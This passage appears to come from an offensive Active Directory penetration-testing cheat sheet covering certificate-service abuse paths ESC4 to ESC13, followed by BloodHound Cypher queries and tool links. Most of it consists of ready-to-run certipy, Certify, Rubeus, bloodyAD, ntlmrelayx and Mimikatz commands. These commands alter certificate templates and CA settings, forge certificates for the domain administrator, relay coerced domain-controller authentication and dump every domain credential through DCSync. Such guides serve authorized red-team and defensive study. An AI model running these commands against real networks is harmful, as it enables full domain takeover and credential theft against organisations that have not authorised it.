**ESC4:** You have write access on the certificate template AD object. Modify the template to add `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` and the Client Auth EKU, then follow the ESC1 abuse path. Restore the template afterwards to reduce noise.

#### Kali (certipy)

```bash
# ESC4: write on template object → add SAN flag, then ESC1

# Back up current template config
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -template '$TEMPLATE' -save-old -dc-ip $DC_IP

# Enable SAN + Client Auth on the template
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -template '$TEMPLATE' -dc-ip $DC_IP

# Request cert with SAN = DA
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template '$TEMPLATE' \
  -upn 'administrator@$DOMAIN' -target $DC_IP

certipy auth -pfx administrator.pfx -dc-ip $DC_IP

# Restore template
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -template '$TEMPLATE' -configuration old-$TEMPLATE.json -dc-ip $DC_IP
```

#### Windows (ADSI)

```powershell
# Modify template via ADSI (requires GenericWrite on template)
$dc = (Get-ADDomain).DistinguishedName
$templ = [ADSI]"LDAP://CN=$TEMPLATE,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$dc"
$templ.'msPKI-Certificate-Name-Flag' = 1  # ENROLLEE_SUPPLIES_SUBJECT
$templ.'pKIExtendedKeyUsage' = @('1.3.6.1.5.5.7.3.2')  # Client Auth
$templ.SetInfo()

# Now request with Certify
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE' /altname:'administrator'
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC5

**ESC5:** Write control over a CA or PKI object in AD (Enrollment Services container, NTAuthCertificates, etc.). Enable a vulnerable template on the CA or modify CA properties to allow attacker-controlled SAN, then chain to ESC1 or ESC7.

#### Kali (certipy + bloodyAD)

```bash
# ESC5: write control over CA or PKI object in AD
# Verify what you have GenericAll/WriteDACL on
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  get object "CN=$CA,CN=Enrollment Services,CN=Public Key Services,CN=Services" -attr nTSecurityDescriptor

# Enable SubCA template via CA control
certipy ca -ca '$CA' -enable-template SubCA \
  -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

# Request SubCA cert (pends - get request ID from output)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template SubCA \
  -upn 'administrator@$DOMAIN' -target $DC_IP

# Issue the pending request using CA object control
certipy ca -ca '$CA' -issue-request $REQ_ID \
  -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

# Retrieve and authenticate
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca '$CA' -retrieve $REQ_ID -target $DC_IP
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

#### Windows (ADSI)

```powershell
# Grant yourself GenericAll on the CA enrollment services object
$dc = (Get-ADDomain).DistinguishedName
$caObj = [ADSI]"LDAP://CN=$CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$dc"
$sid = (Get-ADUser $USER).SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, 'GenericAll', 'Allow')
$caObj.ObjectSecurity.AddAccessRule($ace)
$caObj.CommitChanges()

# Then use certutil to enable template
certutil -config '$CA_HOST\$CA' -setcaproperty 'PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags' 0x00040000
```

#### ESC6

**ESC6:** The CA has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set. This flag allows the requester to specify a SAN in *any* template request, regardless of the template's own `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` setting. Request any enrollable template with `-upn administrator@domain`.

#### Kali (certipy)

```bash
# ESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag
# Any enrollable template accepts attacker-specified SAN

# Confirm flag is set
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout | grep -i 'ESC6\|EDITF'

# Request any user-enrollable template with SAN override
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template 'User' \
  -upn 'administrator@$DOMAIN' -target $DC_IP

certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

#### Windows (Certify + Rubeus)

```powershell
.\Certify.exe find /vulnerable

# Request User template with SAN
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /altname:'administrator'
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC7

**ESC7:** You have ManageCA or Manage Certificates rights on the CA. With ManageCA: enable `EDITF_ATTRIBUTESUBJECTALTNAME2` or enable the SubCA template. With both rights: request a SubCA cert (denied), then approve and retrieve it yourself. This yields a cert for any UPN without needing a vulnerable template.

#### Kali (certipy)

```bash
# ESC7: ManageCA or Manage Certificates right on the CA

# Add yourself as CA officer (requires ManageCA)
certipy ca -ca '$CA' -add-officer $USER \
  -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

# Enable SubCA template
certipy ca -ca '$CA' -enable-template SubCA \
  -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

# Request SubCA cert (will fail: note the request ID)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template SubCA \
  -upn 'administrator@$DOMAIN' -target $DC_IP

# Issue the failed request (officer / ManageCertificates right)
certipy ca -ca '$CA' -issue-request $REQ_ID \
  -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

# Retrieve and authenticate
certipy req -u $USER@$DOMAIN -p $PASSWORD -ca '$CA' -retrieve $REQ_ID -target $DC_IP
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
```

#### Windows (certutil)

```powershell
# With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA
certutil -config '$CA_HOST\$CA' -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc

# Now any template request can carry an attacker-controlled SAN (→ ESC6)
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User' /altname:'administrator'
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### ESC8

**ESC8:** NTLM relay to the AD CS HTTP enrollment endpoint (`/certsrv/`). Coerce a Domain Controller machine account to authenticate to your relay, which forwards the authentication to the CA and obtains a certificate for the DC account. Use that cert to get the DC's TGT and DCSync.

#### Kali (ntlmrelayx + certipy)

```bash
# ESC8: NTLM relay to AD CS HTTP enrollment endpoint

# Start relay targeting /certsrv/ HTTP enrollment
impacket-ntlmrelayx -t 'http://$CA_IP/certsrv/mscep/mscep.dll' \
  --adcs --template DomainController -smb2support

# Coerce DC machine auth (separate terminal)
python3 coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN \
  -l $LHOST -t $DC_IP

# ntlmrelayx outputs base64 cert: save it
# Authenticate with received cert → TGT + NT hash
certipy auth -pfx '$DC_NAME$.pfx' -dc-ip $DC_IP

# DCSync with NT hash
impacket-secretsdump -hashes :$NT_HASH $DOMAIN/'$DC_NAME$'@$DC_IP
# [*] SMBD-Thread-4: Received connection from 10.10.10.1
# [*] Got cert for 'DC01$'
# [*] Base64 certificate of user DC01$: MIIRTAIBAzCC...
```

#### Windows (Rubeus)

```powershell
# After obtaining the base64 cert from ntlmrelayx:
# Save base64 blob to file and decode
[System.Convert]::FromBase64String('$BASE64_CERT') | Set-Content dc.pfx -AsByteStream

# Request TGT as DC machine account
.\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /enctype:aes256 /ptt

# DCSync
.\Mimikatz.exe "lsadump::dcsync /all /csv" exit
```

#### ESC9

**ESC9:** The target certificate template has `CT_FLAG_NO_SECURITY_EXTENSION` set and the DC uses weak certificate mapping. Combined with GenericWrite on a user, change the victim's UPN to match a high-privilege account, request a cert as the victim, restore the UPN, then authenticate as the high-privilege account using the cert.

#### Kali (certipy)

```bash
# ESC9: GenericWrite on account, template has no szOID_NTDS_CA_SECURITY_EXT
# and DC uses weak certificate mapping

# Change victim's UPN to target DA
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_USER -upn 'administrator@$DOMAIN' -dc-ip $DC_IP

# Request cert as victim (now with DA UPN)
certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS \
  -ca '$CA' -template '$TEMPLATE' -target $DC_IP

# Restore victim UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_USER -upn $VICTIM_USER@$DOMAIN -dc-ip $DC_IP

# Auth as DA: weak mapping accepts cert despite UPN mismatch
certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $DC_IP
```

#### Windows (PowerView + Certify)

```powershell
# Change victim UPN to DA
Import-Module PowerView.ps1
Set-DomainObject -Identity $VICTIM_USER -Set @{'userPrincipalName'='administrator@$DOMAIN'}

# Request cert as victim
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE'

# Restore UPN
Set-DomainObject -Identity $VICTIM_USER -Set @{'userPrincipalName'="$VICTIM_USER@$DOMAIN"}

# Auth
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt
```

#### Kali (bloodyAD)

```bash
# GenericWrite on victim: change UPN via bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object $VICTIM_USER userPrincipalName -v 'administrator@$DOMAIN'

# Request cert as victim (with DA UPN)
certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS \
  -ca '$CA' -template '$TEMPLATE' -target $DC_IP

# Restore victim UPN
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object $VICTIM_USER userPrincipalName -v "$VICTIM_USER@$DOMAIN"

# Authenticate as DA
certipy auth -pfx administrator.pfx -domain $DOMAIN -dc-ip $DC_IP
```

#### ESC10

**ESC10:** The DC has `StrongCertificateBindingEnforcement` set to 0 or 1 (compatibility mode). ESC10a: modify a user's UPN via GenericWrite, request cert, authenticate as the target UPN. ESC10b: modify a computer's `dNSHostName` to match a DC FQDN, request a Machine template cert, authenticate as the DC.

#### Kali (certipy)

```bash
# ESC10: DC has StrongCertificateBindingEnforcement disabled or in compatibility mode

# ESC10a: GenericWrite on user → change UPN (same as ESC9 but DC-side weakness)
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_USER -upn 'administrator' -dc-ip $DC_IP
certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS -ca '$CA' -template 'User' -target $DC_IP
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_USER -upn $VICTIM_USER@$DOMAIN -dc-ip $DC_IP
certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $DC_IP

# ESC10b: GenericWrite on computer → change dNSHostName to DC FQDN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_COMPUTER -dns $DC_FQDN -dc-ip $DC_IP
certipy req -u "$VICTIM_COMPUTER\$" -p $COMPUTER_PASS \
  -ca '$CA' -template 'Machine' -target $DC_IP
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $VICTIM_COMPUTER -dns "$VICTIM_COMPUTER.$DOMAIN" -dc-ip $DC_IP
certipy auth -pfx '$DC_NAME.pfx' -dc-ip $DC_IP
```

#### Windows (PowerView + Certify)

```powershell
# ESC10a: change UPN on victim user
Set-ADUser $VICTIM_USER -UserPrincipalName 'administrator'
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'User'
Set-ADUser $VICTIM_USER -UserPrincipalName "$VICTIM_USER@$DOMAIN"
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx -password pass:
.\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password: /ptt

# ESC10b: change dNSHostName on victim computer
Set-ADComputer $VICTIM_COMPUTER -DNSHostName $DC_FQDN
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'Machine' /machine
Set-ADComputer $VICTIM_COMPUTER -DNSHostName "$VICTIM_COMPUTER.$DOMAIN"
.\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /ptt
```

#### Kali (bloodyAD)

```bash
# ESC10a: GenericWrite on user → change UPN via bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object $VICTIM_USER userPrincipalName -v 'administrator'
certipy req -u $VICTIM_USER@$DOMAIN -p $VICTIM_PASS -ca '$CA' -template 'User' -target $DC_IP
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object $VICTIM_USER userPrincipalName -v "$VICTIM_USER@$DOMAIN"
certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN -dc-ip $DC_IP

# ESC10b: GenericWrite on computer → change dNSHostName via bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object "$VICTIM_COMPUTER\$" dNSHostName -v "$DC_FQDN"
certipy req -u "$VICTIM_COMPUTER\$"@$DOMAIN -p $COMPUTER_PASS \
  -ca '$CA' -template 'Machine' -target $DC_IP
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_IP \
  set object "$VICTIM_COMPUTER\$" dNSHostName -v "$VICTIM_COMPUTER.$DOMAIN"
certipy auth -pfx '$DC_NAME.pfx' -dc-ip $DC_IP
```

#### ESC11

**ESC11:** NTLM relay to the MS-ICPR (RPC-based) enrollment endpoint. The CA has `IF_ENFORCEENCRYPTICERTREQUEST` not set, allowing unauthenticated relay over RPC. Coerce DC machine authentication, relay to the CA RPC port, receive a certificate for the DC account. Same post-exploitation as ESC8.

#### Kali (certipy relay)

```bash
# ESC11: relay to MS-ICPR (RPC enrollment): CA lacks IF_ENFORCEENCRYPTICERTREQUEST
# Different from ESC8 which targets HTTP; this targets port 135/RPC dynamic

# Start RPC relay (certipy >= 4.8)
certipy relay -ca $CA_IP -template DomainController

# Coerce DC machine auth (separate terminal)
python3 coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN \
  -l $LHOST -t $DC_IP

# Authenticate with received cert
certipy auth -pfx '$DC_NAME$.pfx' -dc-ip $DC_IP

# DCSync
impacket-secretsdump -hashes :$NT_HASH $DOMAIN/'$DC_NAME$'@$DC_IP
```

#### Windows (Rubeus)

```powershell
# After obtaining cert via relay:
[System.Convert]::FromBase64String('$BASE64_CERT') | Set-Content dc.pfx -AsByteStream
.\Rubeus.exe asktgt /user:'$DC_NAME$' /certificate:dc.pfx /enctype:aes256 /ptt
.\Mimikatz.exe "lsadump::dcsync /all /csv" exit
```

#### ESC13

**ESC13:** A certificate template's IssuancePolicies OID is linked to an AD group. Enrolling in this template and authenticating with the resulting certificate grants effective membership of that group via the Kerberos PAC, without being a formal group member in AD.

#### Kali (certipy)

```bash
# ESC13: template IssuancePolicies OID is linked to an AD group
# Enrolling grants membership in that group via Kerberos PAC

# Find ESC13 templates
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout | grep -A10 'ESC13'

# Enroll in the template
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -ca '$CA' -template '$TEMPLATE' -target $DC_IP

# Authenticate: OID grants group membership in the TGT PAC
certipy auth -pfx cert.pfx -dc-ip $DC_IP

# Verify inherited group membership
export KRB5CCNAME=user.ccache
impacket-getADUsers -k -no-pass $DOMAIN/ -dc-ip $DC_IP
```

#### Windows (Certify + Rubeus)

```powershell
.\Certify.exe find /vulnerable

# Enroll in the ESC13 template
.\Certify.exe request /ca:'$CA_HOST\$CA' /template:'$TEMPLATE'
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx -password pass:

# TGT will include the OID-linked group in the PAC
.\Rubeus.exe asktgt /user:$USER /certificate:cert.pfx /password: /ptt

# Confirm effective group membership
whoami /groups
```

## BloodHound CE: Cypher Queries

Run custom Cypher in BloodHound CE: top menu → Analysis → Custom Queries. Replace `CORP.LOCAL` with your domain in uppercase.

```
// Shortest path from all owned nodes to Domain Admins
MATCH p=shortestPath((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// All shortest paths
MATCH p=allShortestPaths((n {owned:true})-[*1..]->(m:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// Computers where DA users have active sessions
MATCH (c:Computer)<-[:HasSession]-(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}) RETURN c.name, u.name

// All principals with DCSync rights
MATCH p=(n)-[:DCSync|AllExtendedRights|GenericAll]->(d:Domain) RETURN n.name, labels(n), d.name

// Kerberoastable users with path to DA
MATCH p=shortestPath((u:User {hasspn:true, enabled:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p

// AS-REP roastable users
MATCH (u:User {dontreqpreauth:true, enabled:true}) RETURN u.name
```

```
// Computers without LAPS (CE property)
MATCH (c:Computer {haslaps:false}) RETURN c.name, c.operatingsystem

// Unconstrained delegation: non-DC computers
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH "DC" RETURN c.name

// All ADCS ESC paths visible in CE
MATCH p=()-[:ADCSESC1|ADCSESC4|ADCSESC8|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b]->() RETURN p

// All GenericAll edges: who controls what
MATCH p=(n)-[:GenericAll]->(o) RETURN n.name, labels(o), o.name ORDER BY n.name
```

## References

- [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - LDAP-based AD object manipulation (set password, add rbcd, add dcsync, add uac, set object)
- [BloodHound CE (GitHub)](https://github.com/SpecterOps/BloodHound) - Community Edition with ADCS ESC edges, AddKeyCredentialLink, WriteAccountRestrictions
- [PowerSploit (PowerView) (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Set-DomainUserPassword, Set-DomainObject, Add-DomainGroupMember, Add-DomainObjectAcl, Set-DomainObjectOwner
- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - shadow auto for AddKeyCredentialLink abuse from Linux
- [Whisker (GitHub)](https://github.com/eladshamir/Whisker) - Shadow credentials from Windows, adds msDS-KeyCredentialLink, outputs Rubeus command
- [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - s4u for constrained delegation and RBCD, hash for NT hash generation
- [PowerMad (GitHub)](https://github.com/Kevin-Robertson/Powermad) - New-MachineAccount for creating computer accounts for RBCD
- [Impacket (GitHub)](https://github.com/fortra/impacket) - secretsdump, getST, addcomputer, psexec, dcomexec
- [NetExec (nxc) (GitHub)](https://github.com/Pennyw0rth/NetExec) - lsassy module, SMB exec, local admin verification
